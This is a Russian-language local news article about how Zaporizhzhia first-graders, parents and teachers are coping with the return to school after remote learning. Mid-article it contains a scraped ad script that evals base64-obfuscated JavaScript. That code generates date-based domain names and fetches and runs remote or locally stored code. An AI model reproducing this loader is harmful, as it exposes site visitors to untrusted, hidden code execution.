С понедельника, 15 ноября, к учебе в очном режиме вернулись все младшеклассники. Также в школу ходят ученики старших классов, где педагоги полностью прошли курс вакцинации от COVID-19. И если для старших школьников учеба онлайн проходила не впервые, то для учеников младшей школы она оставила неизгладимые последствия.
С какими проблемами столкнулись учителя и родители первоклашек, когда дети вернулись в школу и как к смене формата учебы отнеслись сами дети, разбирались корреспонденты «Акцента».
Ученики первого класса провели четыре недели дома во время осенних каникул, а потом во время попытки учиться из дома онлайн. Этого оказалось достаточно для того, чтобы дети отвыкли от школы. По сути малыши нормально проучились только сентябрь и неделю октября. Поэтому возвращение в школу стало настоящим испытанием как для самих деток, так для их родителей и педагогов. С чем пришлось столкнуться, когда дети заново пошли в школу, рассказали родители запорожских первоклашек.
Дети привыкли быть дома, поэтому стали брать в школу домашние игрушки и гаджеты. Игрушки им вроде как навевают атмосферу дома. А с помощью гаджета можно постоянно звонить маме. Дети привыкли, что мама была постоянно рядом, как на каникулах, так и во время учёбы онлайн.
В итоге многим мамам приходиться по несколько раз на день выслушивать примерно такие разговоры: у меня карандаш сломался и я не могу делать задание; а у Миланы такие же смартчасы, как у нашего папы. Почему у нее есть, а у меня нет?; мне Марик в тетради сердечко нарисовал. На него обижаться, или не надо?; а Карина мне на ногу наступила, я теперь не буду с ней дружить, а буду дружить с тобой, мама… От такой «дружбы» мама немного в шоке. Впрочем, как и мамин начальник, который слышит часть разговоров во время рабочего дня.
Ноябрьская продленка на улице длиною в 3 часа
Отвыкли от режима школы и сами учителя. Или не сориентировались, что за это время изменилась погода и существенно похолодало. В первый день возвращения детей в школу в одном классе, как рассказал папа одного из первоклассников, детей вывели на продленку на улицу. Все время так делали в сентябре. Но в ноябре уже так не погуляешь. Но минус на градуснике не остановил воспитателя группы продлённого дня. Он вывел детей на улицу в 14.00 часов дня и в школу больше не завел. Надеемся, просто по привычке. Причем, многих деток родители забирали после работы, а это 17.00-18.00 часов вечера. Кто из членов семьи был рядом, пришли за детками раньше, чтобы малыши не мёрзли на продленке на улице. Но такая возможность была не у всех.
Идеальная картина дистанционного обучения. На практике все выглядит совсем по-другому
В другой запорожской школе, наоборот, не могли вовремя забрать детей. Вместо занятий малышам на продленке воспитатель устроил дискотеку. В итоге дети хотели танцевать и беситься, а не собирать вещи и идти домой. В результате родителям пришлось ждать на улице около сорока минут, пока дитё оденет куртку и с портфелем выйдет со школы. Видимо, некоторые педагоги так и не определились, что делать с малышами на продленке. Хотя родители специально для группы продлённого дня ещё в сентябре приносили картон, пластилин, бумагу, карандаши и все другие возможные канцтовары. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Домашние задания или почему не все родители спешат домой
После того, как первоклашки вернулись в школу, некоторые родители перестали спешить домой. Дело в том, что или дети перестали слушать учителя во время урока, или для того, чтобы нагнать упущенную программу, первоклашкам стали задавать домашнее задание. Например, у некоторых малышей не было домашнего задания, оно появилось только сейчас. Если раньше согласно программы НУШ учительница говорила, что «малыши будут учиться только в школе, дома детки должны отдыхать», то сейчас сообщение в Вайбере от классного руководителя выглядит по другому. Это примерно так: «самостоятельно дома прописать примеры по математике на стр. 14; по украинскому языку сделать задание номер 5 и 6 на стр. 19; повторить слова по английскому и выучить стишок; нарисовать рисунок на конкурс по пожарной безопасности; сделать поделку к новому году; нарисовать и вырезать дорожные знаки для занятий в школе»… Родители стали вздрагивать от звука входящих сообщений родительского чата.
После работы родители уже не спешат домой. В одной семье заведено, что кто первый пришел с работы, мама или папа, тот и делает с ребенком уроки. Так вот, ни папа, ни мама теперь не летят домой на всех парах. Папа надеется, что уроки сделает с дочкой мама. У мамы план почти такой же. В итоге уроки, чаще всего, делают уже поздно вечером все втроем.
А вот в одной запорожской семье удалёнка пошла на пользу мальчику Матвею. Как рассказал его папа, ребенок перестал сидеть за компьютером весь вечер. Матвей помнит учебу онлайн и опасается, что в мониторе появится его учительница и придется делать какие-то задания. Матвей этого не хочет и пока обходит компьютер стороной, что очень радует его отца.
Судя по рассказам родителей запорожских первоклашек, в их семьях в этом году начался и проходит очень необычный учебный год. Дети то привыкают к школе, то остаются дома, то учатся по удалёнке, то опять идут в школу. Малышам сложно быстро адаптироваться к новым условиям, которые постоянно меняются, стоит под них только подстроиться. И как никогда, в тесной связке оказались дети, педагоги и родители первоклашек. Надеемся, учебный процесс выйдет на прямую линию и дети нормально проведут первый учебный год в своей жизни.
Юлия Христиченко, специально для «Акцента» (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/diskoteka-progulka-i-novye-zadaniya-kak-pomenyala-udalyonka-budni-zaporozhskih-mladsheklassnikov/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
